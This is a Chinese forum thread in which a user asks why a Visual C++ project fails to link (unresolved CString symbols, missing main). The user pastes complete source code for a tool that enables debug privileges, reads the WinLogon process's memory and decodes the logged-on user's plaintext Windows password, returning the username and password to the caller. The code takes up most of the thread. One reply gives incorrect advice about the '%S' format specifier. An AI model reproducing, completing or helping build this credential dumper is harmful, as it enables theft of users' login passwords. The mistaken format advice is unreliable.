请问这个链接错误是什么意思?

[ruoyu_shen]

--------------------Configuration: password - Win32 Debug--------------------
Linking...
PasswordReminder.obj : error LNK2001: unresolved external symbol "public: class CString const & __thiscall CString::operator=(char const *)" (??4CString@@QAEABV0@PBD@Z)
PasswordReminder.obj : error LNK2001: unresolved external symbol "public: void __cdecl CString::Format(char const *,...)" (?Format@CString@@QAAXPBDZZ)
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/password.exe : fatal error LNK1120: 3 unresolved externals
Error executing link.exe.

password.exe - 4 error(s), 0 warning(s)


不明白这个链接错误是怎么回事public: class CString const & __thiscall CString::operator=(char const *)" (??4CString@@QAEABV0@PBD@Z)
毛病出在哪里,应该如何修改呢?

[ruoyu_shen]

#include <stdafx.h>
#include <tchar.h>
#include <stdio.h>

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

// Undocumented typedef's
typedef struct _QUERY_SYSTEM_INFORMATION
{
DWORD GrantedAccess;
DWORD PID;
WORD HandleType;
WORD HandleId;
DWORD Handle;
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
DWORD Count;
DWORD Unk04;
DWORD Unk08;
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
DWORD LoadAddress;
DWORD Size;
DWORD Unk08;
DWORD Enumerator;
DWORD Unk10;
char Name [0x108];
} PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
DWORD HashByte;
DWORD Unk04;
DWORD Unk08;
DWORD Unk0C;
FILETIME LoggedOn;
DWORD Unk18;
DWORD Unk1C;
DWORD Unk20;
DWORD Unk24;
DWORD Unk28;
UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);

// Private Prototypes
BOOL IsWinNT (void);
BOOL IsWin2K (void);
BOOL AddDebugPrivilege (void);
DWORD FindWinLogon (void);
BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
void DisplayPasswordWinNT (CString &Username,CString &Pwd);
void DisplayPasswordWin2K (CString &Username,CString &Pwd);

// Global Variables
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;

DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName [0x400];
wchar_t UserDomain [0x400];

int __cdecl GetPasswordNT2K(CString &Username,CString &Pwd)
{
if ((!IsWinNT ())
&&
(!IsWin2K ()))
{
return (0);
}

// Add debug privilege to PasswordReminder -
// this is needed for the search for Winlogon.
if (!AddDebugPrivilege ())
{
return (0);
}

HINSTANCE hNtDll =
LoadLibrary
("NTDLL.DLL");
pfnNtQuerySystemInformation =
(PFNNTQUERYSYSTEMINFORMATION) GetProcAddress
(hNtDll,
"NtQuerySystemInformation");
pfnRtlCreateQueryDebugBuffer =
(PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress
(hNtDll,
"RtlCreateQueryDebugBuffer");
pfnRtlQueryProcessDebugInformation =
(PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress
(hNtDll,
"RtlQueryProcessDebugInformation");
pfnRtlDestroyQueryDebugBuffer =
(PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress
(hNtDll,
"RtlDestroyQueryDebugBuffer");
pfnRtlRunDecodeUnicodeString =
(PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress
(hNtDll,
"RtlRunDecodeUnicodeString");

// Locate WinLogon's PID - need debug privilege and admin rights.
DWORD WinLogonPID =
FindWinLogon ();
if (WinLogonPID == 0)
{
/* printf
("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
printf
("PasswordReminder is unable to find the password in memory.\n");
*/ FreeLibrary
(hNtDll);
return (0);
}
/* printf
("The WinLogon process id is %d (0x%8.8lx).\n",
WinLogonPID,
WinLogonPID);
*/
// Set values to check memory block against.
memset
(UserName,
0,
sizeof (UserName));
memset
(UserDomain,
0,
sizeof (UserDomain));
GetEnvironmentVariableW
(L"USERNAME",
UserName,
0x400);
GetEnvironmentVariableW
(L"USERDOMAIN",
UserDomain,
0x400);

// Locate the block of memory containing
// the password in WinLogon's memory space.
BOOL FoundPasswordPage = FALSE;
if (IsWin2K ())
FoundPasswordPage =
LocatePasswordPageWin2K
(WinLogonPID,
&PasswordLength);
else
FoundPasswordPage =
LocatePasswordPageWinNT
(WinLogonPID,
&PasswordLength);

if (FoundPasswordPage)
{
if (PasswordLength == 0)
{
Username.Format
("%S/%S",
UserDomain,
UserName);
Pwd="There is no password.";
}
else
{
/*printf
("The encoded password is found at 0x%8.8lx and has a length of %d.\n",
RealPasswordP,
PasswordLength);
*/ // Decode the password string.
if (IsWin2K ())
DisplayPasswordWin2K (Username,Pwd);
else
DisplayPasswordWinNT (Username,Pwd);
}
}
/*else
printf
("PasswordReminder is unable to find the password in memory.\n");
*/
FreeLibrary
(hNtDll);
return (1);
} // main

[ruoyu_shen]

BOOL
IsWinNT
(void)
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx
(&OSVersionInfo))
return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
else
return (FALSE);
} // IsWinNT

BOOL
IsWin2K
(void)
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx
(&OSVersionInfo))
return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
&&
(OSVersionInfo.dwMajorVersion == 5));
else
return (FALSE);
} // IsWin2K

BOOL
AddDebugPrivilege
(void)
{
HANDLE Token;
TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
DWORD ReturnLength = 0;
if (OpenProcessToken
(GetCurrentProcess (),
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
&Token))
if (LookupPrivilegeValue
(NULL,
"SeDebugPrivilege",
&TokenPrivileges.Privileges[0].Luid))
{
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
return
(AdjustTokenPrivileges
(Token,
FALSE,
&TokenPrivileges,
sizeof (TOKEN_PRIVILEGES),
&PreviousState,
&ReturnLength));
}
return (FALSE);
} // AddDebugPrivilege

// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.
DWORD
FindWinLogon
(void)
{
#define INITIAL_ALLOCATION 0x100
DWORD rc = 0;
DWORD SizeNeeded = 0;
PVOID InfoP =
HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
INITIAL_ALLOCATION);
// Find how much memory is required.
pfnNtQuerySystemInformation
(0x10,
InfoP,
INITIAL_ALLOCATION,
&SizeNeeded);
HeapFree
(GetProcessHeap (),
0,
InfoP);
// Now, allocate the proper amount of memory.
InfoP =
HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
SizeNeeded);
DWORD SizeWritten = SizeNeeded;
if (pfnNtQuerySystemInformation
(0x10,
InfoP,
SizeNeeded,
&SizeWritten))
{
HeapFree
(GetProcessHeap (),
0,
InfoP);
return (0);
}
DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
if (NumHandles == 0)
{
HeapFree
(GetProcessHeap (),
0,
InfoP);
return (0);
}
PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
(PQUERY_SYSTEM_INFORMATION) InfoP;
DWORD i;
for (i = 1; i <= NumHandles; i++)
{
// "5" is the value of a kernel object type process.
if (QuerySystemInformationP->HandleType == 5)
{
PVOID DebugBufferP =
pfnRtlCreateQueryDebugBuffer
(0,
0);
if (pfnRtlQueryProcessDebugInformation
(QuerySystemInformationP->PID,
1,
DebugBufferP) == 0)
{
PPROCESS_INFO_HEADER ProcessInfoHeaderP =
(PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
DWORD Count =
ProcessInfoHeaderP->Count;
PPROCESS_INFO ProcessInfoP =
(PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
{
DWORD i;
DWORD dw = (DWORD) ProcessInfoP;
for (i = 0; i < Count; i++)
{
dw += sizeof (PROCESS_INFO);
ProcessInfoP = (PPROCESS_INFO) dw;
if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
return (0);
if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
rc =
QuerySystemInformationP->PID;
}
if (DebugBufferP)
pfnRtlDestroyQueryDebugBuffer
(DebugBufferP);
HeapFree
(GetProcessHeap (),
0,
InfoP);
return (rc);
}
}
if (DebugBufferP)
pfnRtlDestroyQueryDebugBuffer
(DebugBufferP);
}
DWORD dw = (DWORD) QuerySystemInformationP;
dw += sizeof (QUERY_SYSTEM_INFORMATION);
QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
}
HeapFree
(GetProcessHeap (),
0,
InfoP);
return (rc);
} // FindWinLogon

BOOL
LocatePasswordPageWinNT
(DWORD WinLogonPID,
PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WINNT 0x200
#define USER_PASSWORD_OFFSET_WINNT 0x400
BOOL rc = FALSE;
HANDLE WinLogonHandle =
OpenProcess
(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE,
WinLogonPID);
if (WinLogonHandle == 0)
return (rc);
*PasswordLength = 0;
SYSTEM_INFO SystemInfo;
GetSystemInfo
(&SystemInfo);
DWORD PEB = 0x7ffdf000;
DWORD BytesCopied = 0;
PVOID PEBP =
HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
SystemInfo.dwPageSize);
if (!ReadProcessMemory
(WinLogonHandle,
(PVOID) PEB,
PEBP,
SystemInfo.dwPageSize,
&BytesCopied))
{
CloseHandle
(WinLogonHandle);
return (rc);
}
// Grab the value of the 2nd DWORD in the TEB.
PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
MEMORY_BASIC_INFORMATION MemoryBasicInformation;
if (VirtualQueryEx
(WinLogonHandle,
(PVOID) *WinLogonHeap,
&MemoryBasicInformation,
sizeof (MEMORY_BASIC_INFORMATION)))
if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
&&
((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
{
PVOID WinLogonMemP =
HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
MemoryBasicInformation.RegionSize);
if (ReadProcessMemory
(WinLogonHandle,
(PVOID) *WinLogonHeap,
WinLogonMemP,
MemoryBasicInformation.RegionSize,
&BytesCopied))
{
DWORD i = (DWORD) WinLogonMemP;
DWORD UserNamePos = 0;
// The order in memory is UserName followed by the UserDomain.
do
{
if ((wcscmp (UserName, (wchar_t *) i) == 0)
&&
(wcscmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
{
UserNamePos = i;
break;
}
i += 2;
} while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
if (UserNamePos)
{
PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
(PENCODED_PASSWORD_INFO)
((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
FILETIME LocalFileTime;
SYSTEMTIME SystemTime;
if (FileTimeToLocalFileTime
(&EncodedPasswordInfoP->LoggedOn,
&LocalFileTime))
if (FileTimeToSystemTime
(&LocalFileTime,
&SystemTime))
printf
("You logged on at %d/%d/%d %d:%d:%d\n",
SystemTime.wMonth,
SystemTime.wDay,
SystemTime.wYear,
SystemTime.wHour,
SystemTime.wMinute,
SystemTime.wSecond);
*PasswordLength =
(EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
HashByte =
(EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
RealPasswordP =
(PVOID) (*WinLogonHeap +
(UserNamePos - (DWORD) WinLogonMemP) +
USER_PASSWORD_OFFSET_WINNT + 0x34);
PasswordP =
(PVOID) ((PBYTE) (UserNamePos +
USER_PASSWORD_OFFSET_WINNT + 0x34));
rc = TRUE;
}
}
}

[ruoyu_shen]

HeapFree
(GetProcessHeap (),
0,
PEBP);
CloseHandle
(WinLogonHandle);
return (rc);
} // LocatePasswordPageWinNT

BOOL
LocatePasswordPageWin2K
(DWORD WinLogonPID,
PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WIN2K 0x400
#define USER_PASSWORD_OFFSET_WIN2K 0x800
HANDLE WinLogonHandle =
OpenProcess
(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE,
WinLogonPID);
if (WinLogonHandle == 0)
return (FALSE);
*PasswordLength = 0;
SYSTEM_INFO SystemInfo;
GetSystemInfo
(&SystemInfo);
DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
DWORD Increment = SystemInfo.dwPageSize;
MEMORY_BASIC_INFORMATION MemoryBasicInformation;
while (i < MaxMemory)
{
if (VirtualQueryEx
(WinLogonHandle,
(PVOID) i,
&MemoryBasicInformation,
sizeof (MEMORY_BASIC_INFORMATION)))
{
Increment = MemoryBasicInformation.RegionSize;
if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
&&
((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
{
PVOID RealStartingAddressP =
HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
MemoryBasicInformation.RegionSize);
DWORD BytesCopied = 0;
if (ReadProcessMemory
(WinLogonHandle,
(PVOID) i,
RealStartingAddressP,
MemoryBasicInformation.RegionSize,
&BytesCopied))
{
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
{
RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
// Calculate the length of encoded unicode string.
PBYTE p = (PBYTE) PasswordP;
DWORD Loc = (DWORD) p;
DWORD Len = 0;
if ((*p == 0)
&&
(* (PBYTE) ((DWORD) p + 1) == 0))
;
else
do
{
Len++;
Loc += 2;
p = (PBYTE) Loc;
} while
(*p != 0);
*PasswordLength = Len;
CloseHandle
(WinLogonHandle);
return (TRUE);
}
}
HeapFree
(GetProcessHeap (),
0,
RealStartingAddressP);
}
}
else
Increment = SystemInfo.dwPageSize;
// Move to next memory block.
i += Increment;
}
CloseHandle
(WinLogonHandle);
return (FALSE);
} // LocatePasswordPageWin2K

void
DisplayPasswordWinNT
(CString &Username,CString &Pwd)
{
UNICODE_STRING EncodedString;
EncodedString.Length =
(WORD) PasswordLength * sizeof (wchar_t);
EncodedString.MaximumLength =
((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
EncodedString.Buffer =
(PWSTR) HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
EncodedString.MaximumLength);
CopyMemory
(EncodedString.Buffer,
PasswordP,
PasswordLength * sizeof (wchar_t));
// Finally - decode the password.
// Note that only one call is required since the hash-byte
// was part of the orginally encoded string.
pfnRtlRunDecodeUnicodeString
((BYTE) HashByte,
&EncodedString);
Username.Format
("%S/%S",
UserDomain,
UserName);
Pwd.Format("%S",EncodedString.Buffer);
/* printf
("The hash byte is: 0x%2.2x.\n",
HashByte);
*/ HeapFree
(GetProcessHeap (),
0,
EncodedString.Buffer);
} // DisplayPasswordWinNT

void
DisplayPasswordWin2K
(CString &Username,CString &Pwd)
{
DWORD i, Hash = 0;
UNICODE_STRING EncodedString;
EncodedString.Length =
(USHORT) PasswordLength * sizeof (wchar_t);
EncodedString.MaximumLength =
((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
EncodedString.Buffer =
(PWSTR) HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
EncodedString.MaximumLength);
// This is a brute force technique since the hash-byte
// is not stored as part of the encoded string - :>(.
for (i = 0; i <= 0xff; i++)
{
CopyMemory
(EncodedString.Buffer,
PasswordP,
PasswordLength * sizeof (wchar_t));
// Finally - try to decode the password.
pfnRtlRunDecodeUnicodeString
((BYTE) i,
&EncodedString);
// Check for a viewable password.
PBYTE p = (PBYTE) EncodedString.Buffer;
BOOL Viewable = TRUE;
DWORD j, k;
for (j = 0; (j < PasswordLength) && Viewable; j++)
{
if ((*p)
&&
(* (PBYTE)(DWORD (p) + 1) == 0))
{
if (*p < 0x20)
Viewable = FALSE;
if (*p > 0x7e)
Viewable = FALSE;
}
else
Viewable = FALSE;
k = DWORD (p);
k++; k++;
p = (PBYTE) k;
}
if (Viewable)
{
Username.Format
("%S/%S",
UserDomain,
UserName);
Pwd.Format("%S",EncodedString.Buffer);
}
}
HeapFree
(GetProcessHeap (),
0,
EncodedString.Buffer);
} // DisplayPasswordWin2K

// end PasswordReminder.cpp
这个是源程序！

[金庆]

使用CString则需要MFC支持。

[ruoyu_shen]

还是不太清楚！：（

[ruoyu_shen]

我只知道链接的时候编译器把CString转换成char const *编译???

不知道是不是这样?

[lizmei001]

不清楚,不过一般是要直接转换

还有你的ＦＯＲＭＡＴ("%Ｓ"), 就应该是%s

[ruoyu_shen]

怎么直接转换呢?